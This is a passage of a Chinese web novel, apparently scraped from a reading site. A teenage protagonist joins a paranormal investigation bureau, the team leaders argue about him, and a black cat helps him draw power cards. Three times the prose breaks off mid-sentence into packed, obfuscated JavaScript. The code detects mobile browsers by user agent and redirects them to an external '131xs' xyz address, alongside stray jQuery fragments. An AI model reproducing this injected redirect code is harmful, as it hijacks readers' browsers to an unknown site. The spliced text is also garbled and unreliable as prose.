0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345120|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到你的原因。” “既然如此……” 白旭临摇摇头：“我拒绝。” 宋宴青直接懵住了，他忍不住问道：“为什么？如果你觉得报酬不够，我可以为你申请额外补贴。安全问题你也不用担心，你加入诡调局，国家就会保护你的。” “不是这些原因。”白旭临笑了笑，“我不图这个。” 茶几上放着的茶水飘香四溢，带着舒适的暖意，但场面却冷了下来，没有人开口说话。白旭临保持着沉默，宋宴青张了张嘴，一时间不知道该说什么。 监控室里的苏玫漾看不下去了，拿起对讲机说道：“宋队，继续问他。” 宋宴青听到耳麦里的话，头疼地揉了揉眉心。他不放弃地追问：“我可以问问原因吗？” “其实说这些显得我事多挑剔，但我不说清楚，恐怕你没法向上面交差。”白旭临一顿，“事先声明我不是抗拒规则，我只是，不想受到约束和限制。” “没人会约束你！”宋宴青着急了，“你不想只呆在丹丘市，我可以为你申请出差工作，在全国各地跑，带薪旅游也行的。你要是不想在诡调局住宿，你也可以居家办公，不用来单位打卡……” “宋队你误会了。”白旭临哭笑不得。 他靠在沙发上，语气认真：“成为诡调局成员，势必要担起保护众人的责任。按你们的说法，一个月后诡异大规模爆发，伤亡事件肯定以指数型增长。一旦加入我就只能冲锋在前，再也不能回头了。那么多条命等着我救，我不能停下来，一停下来就感觉要出事情，一停下来就感觉世界要毁灭……” “虽然你没说，但我也知道诡调局工作很辛苦。”白旭临神色疲惫，“我可以自愿去救别人，但不可以因为某人的命令被迫去救人。我不想被责任捆住，宋队，你明白我的意思吗？” 他一口气说完，空气彻底安静下来。宋宴青看着他，眼神逐渐复杂。 这小孩和诡调局想象的其实不太一样。 “当然，还有另外一个重要原因。”白旭临这次率先打破沉默，继续说道。 宋宴青：“……什么？” “还有两个星期我就要高考了啊！”白旭临瞪大眼睛，“宋队你不会不知道吧。高考欸！” “我没时间去救别人了，我还是先想办法救我自己吧。”他叹气道，“考砸了我就完蛋了。高考考不好我就上不了好大学，上不了好大学我就找不到好工作，找不到好工作我就只能混吃等死……” 他开始碎碎念，头上冒出黑线：“啊，今天已经浪费了半天时间，不知道数学老师课上讲了什么……” 宋宴青也睁大眼睛，他从来没见过白旭临在什么话题上输出这么多话。 他忽然很想大笑，嘴角不受控制地抽搐起来，却只能死死咬着后槽牙，肩膀因为强忍而剧烈抖动。 耳麦里传来隔壁监控室老头们笑喷了的声音，连苏玫漾都笑得直不起腰。陈老无奈地摇摇头：“人小小的，烦恼也小小的……” “……你笑什么。” 白旭临简直不忍直视，宋宴青憋笑憋得太明显，整个肩膀都在抖。 宋宴青连忙低下头假装咳嗽，再抬起头时已经恢复了严肃：“其实，在诡调局就任就是一份很好的工作。” “你不用太有心理负担，把它当作是普通的工作，不管是救人还是去打诡异，都只是工作任务而已。就算你以后干别的工作，也是要完成工作任务的。” 他还是忍不住弯起嘴角，便从袋子里抽出合同，装模做样翻了几下：“至于福利嘛……给你高考加分，怎么样？” 白旭临：“……！” 苏玫漾笑着冲对讲机喊道：“保送，直接保送名校！我代表总部同意了！” “哦哦对，不用加分了，直接给你保送。”宋宴青满意地看到白旭临吃惊的表情，“你意下如何？” 白旭临“唰”的一下挺直腰背：“请允许我收回之前的发言！” 8. 雨中鸽 白旭临没等几分钟，新的合同很快拿了过来。 “在诡异大规模爆发前的这一个月是试用期，一个月后，只要你愿意，就可以直接转正。当然，这个月的工资照常发放。” 宋宴青将合同递给白旭临：“这期间你愿意住在基地里或者家里都可以，偶尔的任务会叫上你去参加，你有同意和拒绝的权利。” “我可以去参加高考吗？”白旭临接过合同随便翻了翻，没有细看放在一旁，“苦学十几年，人生重要转折点之时我却临阵逃脱，我都感觉对不起自己。” 宋宴青笑起来：“当然可以。试用期内你有基本的自由，况且现在也没有什么诡异需要处理。” 白旭临签好字，把笔放在桌上，看着宋宴青把合同仔细放进牛皮袋里：“说到诡异，我这都觉醒半天了，一只诡异都没见过。” ……咦，不对，他是不是忘记了什么。 算了，管他呢。他无所谓地想。 “以后你会见到的。” 宋宴青看了一下手机：“都快下午两点了，你要去吃饭还是——？” “吃零食吃饱了，不用吃饭了。”白旭临站起身，“今天出了这么多事，我也不想去学校，你直接带我去我的宿舍吧。” 宋宴青脸上闪过一丝讶异，他还以为这小孩不愿意住在这。他撇过头，不想让白旭临看见他的笑容：“好，我们走吧。” ** “只有顶楼有空房间，我住你对面，二队队长在你隔壁，三队队长在女寝那边。” 宋宴青推门而入：“这是你房间，需要什么就和我说。” 白旭临扫视房间一圈，床，衣柜，桌子和凳子都有，干净整洁，条件比学校寝室好多了，而且还是单人寝。 他站在窗前拉开窗帘，屋外大雨连绵，更远处，能隐隐约约看见波涛汹涌的大海。 “顶楼风景好，没下雨的时候，日出日落都很漂亮。”宋宴青站在门口说道。 白旭临拉回窗帘，回过头看向他：“两位队长都住我隔壁，是要包围监视我吗？” “啊？不是啊。”宋宴青苦笑，“人家住我斜对面，单纯是因为看我不爽，不想住我旁边。” 白旭临低头一思索，话里的内容是疑问，语气却很肯定：“他是不是觉得你很虚伪。” “……你怎么知道。” 宋宴青头疼地捂住额头：“恐怕你会和他很合得来……不对，也不一定，说不定会吵起来。” “二队队长人怎么样，脾气很不好吗？”白旭临坐到椅子上。 “到时候你就知道了，他自告奋勇点名要来带你。虽然你名字挂在我队伍下面，但恐怕这一个月你都要和他出任务。” 白旭临一怔：“又不是你来负责了？” 宋宴青点点头：“因为我不仅是一队队长，还是代理局长，有很多事情要忙。” 白旭临上下打量了他一番，眉头紧蹙，露出一种“就你还是局长”的表情。 完全没有威严的宋宴青：……喂，你这小孩怎么回事。 他心里默默吐槽，但面上还是装出温和的笑容：“我的办公室在行政楼三楼，有事情就去那里找我。基地最好不要随便出入，如果你不嫌门口检查麻烦的话。想把家里的东西带过来就和我说，我派人去拿。” “好的宋队。”白旭临敷衍道。他拉开桌子抽屉随意扫了几眼，漫不经心地提了一句，“话说，诡调局的异能者也太少了点。” “是很少，一个月后就会随着诡异爆发而多起来。”宋宴青笑笑，不动声色又把话题转了回来，“希望那个时候，你还住在这里。” 白旭临打了个哈欠，无视了这句话。他面无表情地下了逐客令，语气疏离而客气：“我要午休了，请帮我关一下门，谢谢。” “……好，午安。” 宋宴青退出房间带上门，在门缝彻底关闭的那一刻，如春风般和煦的笑容迅速从脸上褪去，露出面具之下毫无伪装的真正的冷漠。 他站在门口，眼神锐利盯着白旭临的房门，良久才转身离去。 …… 一队队长办公室。 宋宴青推门而入，发现已经有三个人在里面。 苏玫漾站在窗边一言不发，看着屋外的电闪雷鸣满脸沉思。旁边的沙发上坐着一对年轻男女，女孩听见开门声立刻打招呼，声音稳重清脆：“宋哥。” 另一位就没这么礼貌，翘着二郎腿，鼻子里“哼”了一声。 “沈疏雁，南稷安，你们回来的这么快？” 三队队长沈疏雁笑道：“任务都很简单，我和南哥就提前回来了。” 沈疏雁高高扎着发髻，端庄而文雅，眼神坚毅稳重。虽然才二十五岁，却已经是诡调局的顶梁柱之一。 而南稷安只比她大一岁，容貌格外精致贵气。他冷笑了一声，笑容仿佛月光下蛇鳞反射的冷光，冰冷而嘲讽。 “真让我们好等啊，宋宴青。” 宋宴青冷冷盯住他：“是你，你让小林在医疗室里多呆一会的。他今天本来恢复好就可以离开床位了。” 他眼神愈发阴沉：“为什么要挑起他们的矛盾？” 南稷安挑衅般扬起下巴，笑得不怀好意：“是我干的，怎样？” 眼看着宋宴青额头青筋暴起，揍人的眼神抑制不住。沈疏雁左右都不好劝，求助地看向苏玫漾。 这位总部顾问连忙出来打圆场：“好了好了，我们还是先来聊聊今天谈话得出的结论吧。” 南稷安“切”了一声放下翘着的腿，宋宴青强压下怒火，迅速恢复冷静看向苏玫漾：“专家们怎么说？” “专家们一致认为白旭临心理健康正常，但有部分人认为白旭临面对危险时过于镇定，虽然不影响总体心理指标，但建议我们后续着重关注。”苏玫漾严肃道，“而我本人从头到尾都在使用异能，没有发现白旭临撒谎的迹象。你们也知道，b级及以下等级的异能者，都无法逃过我的异能''谎言识别''的检测。” 沈疏雁思索道：“会不会是白旭临的异能超过了b级？” “不太可能。”宋宴青说道，“他的等级没有我的高，不然我的异能是定不住他的。到时候测一下。” 苏玫漾撑着下巴：“再说说我对白旭临的印象。比较真诚的孩子，好学上进，有点社恐，理智而冷静，我们好好培养的话，诡调局又能添一大将。” “评价还挺高的。”宋宴青有些诧异地看了她一眼，“我觉得他比较任性，但考虑到他的年纪，问题也不大。看起来很正常，但一直在伪装，城府很深。” 南稷安闻言，阴阳怪气地笑起来：“白旭临知道你心里是这么想他的吗？平时装的像个好人似的，宋队。” 宋宴青目不斜视，假装没听见。 苏玫漾看向坐在沙发上的两人：“两位队长觉得呢？” “我不好说他究竟是否有伪装，还需要再观察一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345121|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”沈疏雁字斟句酌，措辞谨慎，听得宋宴青直皱眉。 南稷安懒洋洋地说道：“身手敏捷，反应迅速，洞察力强。当然，我也认为白旭临有表演的痕迹。” “难得我们在一件事情上有共识。”宋宴青语气舒缓起来，终于不再绷着脸。 下一秒南稷安的讥笑又打碎了他脸上的温和：“还是不一样的，宋宴青。” 眼看空气中又擦出火药味，苏玫漾咳了几下，吸引了几位队长的注意力：“我要提醒你们一下，重生者们的话只能当作一种参考，不能当作绝对的未来。我希望你们不要因此受到太多影响，而对白旭临产生某种偏见。” “目前看来，他的性格和重生者们描述的暴君形象有出入。如果白旭临以后出现了这种残暴冷酷偏向的苗头，你们作为队长，需要纠正过来。” 苏玫漾语气很严肃，三位队长挺直了腰背，侧耳认真倾听：“还有一点，白旭临签的合同里只有一个月的试用期。我注意到他和我们对话时比较拘谨，没有敞开心扉反而有些警惕。所以在这短暂的一个月内，我希望你们能和他融洽相处，让他能够发自内心地接受诡调局，把这里当作……” 她顿了顿，最后还是说了出来：“……真正的家。” 下一秒，突如其来的闪电撕开天际，惨白的光芒映入屋内。紧随其后的惊雷乍响，震耳欲聋，把屋内的几人都吓了一跳。 南稷安身上忽然“噼啪”冒出雷电火花，仿佛在与屋外的闪电交相呼应。他拍拍自己的肩膀，扫去并不存在的灰尘：“听上去有些难度啊。” 宋宴青冷笑：“我很怀疑你能不能带好白旭临。” “我有我自己的方法。”南稷安皮笑肉不笑，嘴里对着苏玫漾说话，眼睛却盯着宋宴青，“苏顾问，如果实在不放心，可以让沈疏雁帮忙看着，就不劳宋队费神了。” “咕咕！” 一道灰色的残影迅速掠过窗外的天空，众人都顺着声音望过去，看见一只鸟尽力拍打着翅膀，逆着风对抗这个电闪雷鸣的世界。 但这只鸟是在太小了，刚学会的飞行技巧根本无法撼动这种恶劣的天气，单薄的身影如落叶般在风雨中飘零。 最终它体力不支，斜飞到窗沿边，狼狈地抖了抖身上的水。 “是鸽子！”沈疏雁连忙站起身打开窗户，“怎么这么小只！快进来避避雨。” 她刚推开窗，鸽子扑棱棱拍着翅膀想要飞走，悬停了一阵，最终还是停在窗户外。 它没有飞进屋内，对沈疏雁的话置若罔闻。也许是因为它听不懂人类的语言，又也许它嗅到了某种危险的气息，执着地坚持本能的警觉，不肯轻信他人。 大雨瓢泼落下，打湿了鸽子身上每一片羽毛，但它只是颤抖着身子歪着头，明亮的眼眸与屋内几人对视着，不敢往温暖的屋内迈出一步。 …… 下雨天很适合躺在被窝里睡觉。 白旭临一睡就是一个下午，迷迷糊糊醒来的时候，已经到了晚饭饭点。 “好爽~” 他伸着懒腰下了床，精神抖擞，劳累的一天终于得到了恢复。 睡醒就吃，真乃惬意之人生…… “喵呜~” 白旭临猛的一回头，看见一整天都没见到的黑猫躺在桌子上，翘起尾巴和他打招呼。 白旭临：“……” 他后知后觉反应过来自己忘记了什么，原来是开启他倒霉一天的万恶之源！ 9. 千瞳之刃 “小主人，好久不见～” 黑猫慵懒地伸了个懒腰，然后扫视房间一圈，开始点评：“狭窄拥挤，家具少得可怜，位置不利于防守……” 它仰头注视：“为什么住在这里，原来的房子不要了吗？” 白旭临：“……喵大人？” “哎呀，这只是个开玩笑的称呼，没想到您当真了。”黑猫骄傲地挺起胸膛，“我是有名字的，叫玄商。” 这猫居然还有名字，谁取的…… 黑猫：“您这是什么表情？” 它“嗖”地一下瞬移到白旭临身边，挂在他的后背上，重得白旭临瞬间弯下腰来。 黑猫不满，黑猫大叫，黑猫扑腾乱扭：“我的崽你学坏了变得没有礼貌了！是不是这里的人教坏的！” 白旭临被压的差点翻白眼，连忙伸手把它从身上抓下来。黑猫在他手里动来动去，毛发在空气中飞舞，还未落地就化为灰烬。 “好啦好啦，这里是诡调局，安静一点。” 白旭临把黑猫放回桌上，拉过椅子坐在它前面。 黑猫语重心长，言辞恳切，仿佛为孩子操碎了心的父母，尾尖不停点着桌面：“我的崽，你要有分辨是非的判断能力，知道什么人可以相处，什么人不能相处。比如这个什么局的人，一看就都不是好人！” 白旭临：“……你小点声，我不确定这里的隔音效果怎么样，被人听见就完了。” “所以您为什么要呆在这里？”黑猫不解，“这座基地守备森严，进出困难，不利于您发展啊。” “……再守备森严还不是让你给混进来了。” 白旭临双手叠在脑后无所谓地说：“而且，我有什么好发展的。” 黑猫敏锐地察觉到不对劲：“等等，您是不是加入了这里？” 它尾巴上的毛忽然炸开，冲着空气不满地哈气：“您是不是被欺骗了！被软禁了！我善良无辜年幼弱小的需要保护的小主人被限制在这小小的基地里不能大展身手，一定是被威逼利诱了！我要把这里的异能者都揍一顿！！！” 黑猫本来还想挽回它和白旭临初次见面时矜贵优雅的摸样，现在已经救不回来了。它愤怒地在房间里跑酷，暴跳如雷，破口大骂，把诡调局祖上十八代骂了个遍，毛发四处飞散，不断变成灰烬自动消失，看起来就好像在绕着白旭临放一团团黑雾。 白旭临在它的长短句连续轰炸中艰难插嘴：“别紧张，我是自愿加入的。” 黑猫突然定住了，胡须微微颤抖着，语气不可置信：“自愿？” 白旭临：“……嗯，也许，半自愿？” 黑猫瞬间转移到白旭临面前的桌子上，瞳孔闪过一丝诡异的红光，透露出属于诡异的气息。它上下打量着白旭临，眼神惊奇。 经过一番脑内争斗，最后它说服了自己：“好吧，我的崽这么年幼，对世界充满好奇，想要去冒险也是正常的。” 白旭临：……你的观点是不是转化的太快了。 “但您要小心点，诡调局的人要是伤害你，您一定要跑哇！”黑猫的尾巴缠上来，勾住白旭临的手腕，“打不过他们就让我来。” 白旭临面色如常：“他们不会伤害我的，我在这里才呆了一天不到。” 黑猫对着他额头给了个不痛不痒的猫猫拳，速度快得只能看到残影：“保持警惕啊我的崽，警惕！” 白旭临无语地捂住额头：“我知道，但他们确实不会伤害我……” 他顿了顿：“至少目前是这样的。” “好吧，我也不纠结这个了。”黑猫肉眼可见地又欢快起来，“为了壮大您自身的实力，还是继续用系统抽卡吧~” 系统？ 白旭临面色古怪地想，他已经完全把这个东西忘掉了。 他闭上双眼，书本形态的系统在他脑海中自动显现，徐徐散发出金色光芒。 【当前期望值：30】 “这些期望值都哪里来的？……” 白旭临嘀咕着，虚空点了几下，系统的转盘旋转起来，连抽三张卡。 【角色卡*1，进阶卡*2】 【恭喜您抽中角色卡！】 黑猫兴奋地喵喵叫：“好，抽中了！” 它在桌子上蹦来蹦去：“看来这里风水不错，好运好运多多来！” 系统画面开始变化，屏幕上出现一张写着“角色”二字的卡牌，漆黑的铁链缠绕卡牌全身，上面封印着黄色贴条。 白旭临试探性地按了一下，黄色贴条被瞬间腾起的火焰燃烧殆尽，锁链“哗啦啦”抽离，卡牌翻面，隐隐散发着诡异的红光。 下一秒周身陷入黑暗，冰冷的声音在他耳边响起：“一切幻想，皆为虚妄……” 无数鲜花在他身边盛开，空中万千蝴蝶翩翩起舞。一只苍白纤细的手臂抬起，接住了随风而飘的花瓣。 人形诡异马甲飞在高处，额角两侧延伸着晶莹的触角。巨大的蝶翼从它优美的背部舒展而出，翅膀上的图案犹如符文般缓缓流转。 它垂下眼睑，雪白色的长睫毛微微颤动，磷粉四处飘扬，只在瞬间便如浪潮般翻涌卷起，形成冰冷的风暴—— 【千瞳之刃·妄蝶】 黑暗褪去，影像结束。角色卡上出现一个身影，赫然是刚刚在黑暗里见到的诡异。 “……” 白旭临仰起脸望着天花板，又低头看看身旁的黑猫：“马甲怎么是诡异？” “嗯？那您以为是什么。”黑猫甩甩尾巴，“您的指引者，我，也是诡异啊。” “……好有道理，但我一直以为是职业扮演角色马甲。” 白旭临看向系统，与卡牌里气质冰冷疏离的马甲对视了一眼。 【角色卡：妄蝶（千瞳之刃）】 【异能等级：c级】 “等级也太低了。”黑猫不满地喵了一声，“您不是有好几张进阶卡吗？那个可以用来提升等级的。” “马甲和您自身的异能都可以升级的。” 白旭临难得豪气一回，甩出三张进阶卡，卡牌里的妄蝶变化形态，磷粉在背景里洋洋洒洒地飞舞，诡异的气息愈发浓厚。 系统内容自动更新： 【角色卡：妄蝶（千瞳之刃）】 【异能等级：s级（已达到等级上限）】 【性格：冷漠，偏执，亲近自然，厌恶人类】 【技能：使用马甲角色后自动解锁】 【投放地点：丹丘市湿地公园】 白旭临：“投放地点是什么意思？” “就是每一个马甲首次出场的地点。”黑猫歪着头，“投放地点都是固定的，不可更改。如果您现在就开始使用马甲，这个马甲就会直接出现在湿地公园。” 白旭临头痛道：“这么麻烦。诡异现身肯定会被诡调局疯狂攻击，这还怎么救世？” 黑猫摇着的尾巴突然一顿：“救世？” “对啊，这系统不是救世系统嘛。”白旭临撑着下巴思考，“虽然我对拯救世界不感兴趣，但我看这系统也没有什么强制规定……” “哦，哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345122|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是呀。”黑猫干巴巴笑了几声，“没有强制规定的，您想要怎么做，其实都没关系。” 白旭临翻了翻系统“书”，翻到标注着宿主自身异能的那一页：“进阶卡用在马甲上，马甲的整体异能都会升级。但你没有角色卡，两个异能在我这是分散开的，想要升级只能分别使用进阶卡。” 他“啧”了一声：“不太划算。” “这倒没有什么关系，空间瞬移异能您可以暂时不管，引力和领域覆盖异能倒是可以着重关注。” 黑猫看白旭临似乎没发现它的异常，暗自松了口气。它靠着窗边躺下：“而且，您的异能也要多练练。就算是同等级，对异能掌握程度更深刻的异能者，战斗能力更强。” “我知道。” 白旭临眨眨眼，系统从他眼前逐渐隐匿形态。他起身说道：“我要去吃饭了，你待在这里别动，不要乱跑。” “吃饭？我也要吃饭。” 黑猫腾地原地蹦跶，语气欢快：“我也饿了，我好久没吃东西～” 白旭临：“你吃人类的食物？” “不，我吃诡异。”黑猫伸出舌头舔了舔嘴，“现在的诡异都好少，而且品质低劣不够美味。真期待红月夜的降临啊……” “随你，别被其他人发现就行。” 黑猫“嗖”地一声消失在房内。白旭临推门而出，意识散发出去观察了一圈。 它确实走了。 白旭临的眼神猛然变得幽深，刚才伪装的轻松瞬间消散。他还没有傻到面对面发现不了其他意识体的情绪变化。 那只叫玄商的猫，有问题。 …… 基地食堂。 白旭临端着一碗汤面，挑了角落的桌子坐下。 看起来比学校的饭要好吃，给的肉还很多。 他低头吃到一半，却感觉到有人把餐盘放在他对面。 白旭临抬头，看见一位颜值暴打娱乐圈明星的帅哥坐在他对面，冲着他似笑非笑地挑眉。 陌生人特意坐在他面前，肯定是有备而来。白旭临有点社恐发作，脑海里飞快闪过基地里已知的几位成员名字。 “……南队？” “哇哦，你认识我啊。”南稷安笑得灿烂。 “正式介绍一下，我是二队队长南稷安，接下来一个月由我来负责带你。”南稷安笑容愈发灿烂，“我这人脾气很好，从不生气，经常带新人，所以你不用担心。” “幸会啊。”白旭临戳了戳面条，语气敷衍。 这顿饭是吃不下去了。 “所以你找我有什么事。” 南稷安完全没有发现白旭临处在社恐状态，自顾自地边吃边说：“等会儿吃完饭，你跟我去登记一下信息，方便你以后做任务出入基地。” 白旭临忽然想到了什么。他迅速退出社恐状态，把面前的碗一推，状似只是在随意聊天：“诶，宋队到底在忙什么，之前不是说他来负责我吗？” “从不生气”的南稷安面色一僵，噗嗤冷笑出声，张口就是脏话：“宋宴青那个傻逼忙得很，才没有空来带你。再说你也应该见识过了……” 他压低声音，脸上带着古怪的愠色，一幅怒极反笑的模样：“他这个人，表面上看着温和宽容彬彬有礼，实际上冷漠警惕心狠手辣，浑身上下八百个心眼子。带人像训狗一样，把人家耍的团团转，人家还得感激涕零……” 白旭临脸色平静，没有情绪地捧读：“哇哦，多么绝妙的比喻。” 南稷安吃饭的动作一顿：“……”